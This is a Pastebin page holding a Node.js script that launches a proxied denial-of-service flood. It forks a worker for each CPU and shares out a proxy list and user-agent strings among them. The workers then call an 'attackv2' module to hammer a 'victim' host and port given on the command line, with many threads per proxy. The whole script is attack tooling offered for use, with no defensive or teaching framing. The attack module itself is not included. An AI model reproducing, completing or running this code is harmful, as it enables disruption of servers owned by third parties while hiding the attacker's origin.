Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
9,651
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.10 KB | None | 0 0
  1. const net = require('net');
  2. const fs = require('fs');
  3.  
  4. const cluster = require('cluster');
  5.  
  6. if (cluster.isMaster) {
  7. let cpuCount = require('os').cpus().length;
  8.  
  9. let proxy = fs.readFileSync('proxy.txt', 'utf-8').replace(/\r/g, '').split('\n');
  10. let proxyCount = proxy.length;
  11.  
  12. for (let i = 0; i < cpuCount; i += 1) {
  13. let worker = cluster.fork();
  14. worker.send({ id: worker.id, proxy: proxy.splice(0, proxyCount / cpuCount) });
  15. }
  16.  
  17. cluster.on('exit', function (worker) {
  18. console.log('Thread %d died ', worker.id);
  19. cluster.fork();
  20. });
  21. } else {
  22.  
  23. let workerId = null;
  24. let proxy = [];
  25. const userAgents = fs.readFileSync('ua.txt', 'utf-8').replace(/\r/g, '').split('\n');
  26.  
  27. const attack = require('./attackv2');
  28.  
  29. class Start {
  30.  
  31. constructor() {
  32. this.stats = {
  33. errors: 0,
  34. success: 0,
  35. loop: 0
  36. };
  37. this.isRunning = false;
  38.  
  39. this.attack = new attack(userAgents, stats => {
  40. this.stats.errors += stats.errors;
  41. this.stats.success += stats.success;
  42. });
  43. }
  44.  
  45. run(props) {
  46. this.isRunning = true;
  47.  
  48. if (props.method === 'attack')
  49. for (let i = 0; i < props.threads; i++)
  50. this.attack.start(props);
  51. }
  52.  
  53. stop() {
  54. this.attack.stop();
  55. }
  56.  
  57. }
  58.  
  59. console.log('Loading proxy list.');
  60.  
  61.  
  62. const start = new Start();
  63.  
  64. process.on('message', data => {
  65. workerId = data.id;
  66. proxy = data.proxy;
  67. const victim = { host: process.argv[2], port: process.argv[3] };
  68. proxy.forEach(async p => {
  69. let _proxy = p.split(':');
  70. start.run({
  71. victim: victim,
  72. proxy: { host: _proxy[0], port: _proxy[1] },
  73. method: 'attack',
  74. threads: 8,
  75. requests: 50
  76. });
  77. });
  78. });
  79. }
  80.  
  81. setTimeout(() => process.exit(1), process.argv[3] * 1000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement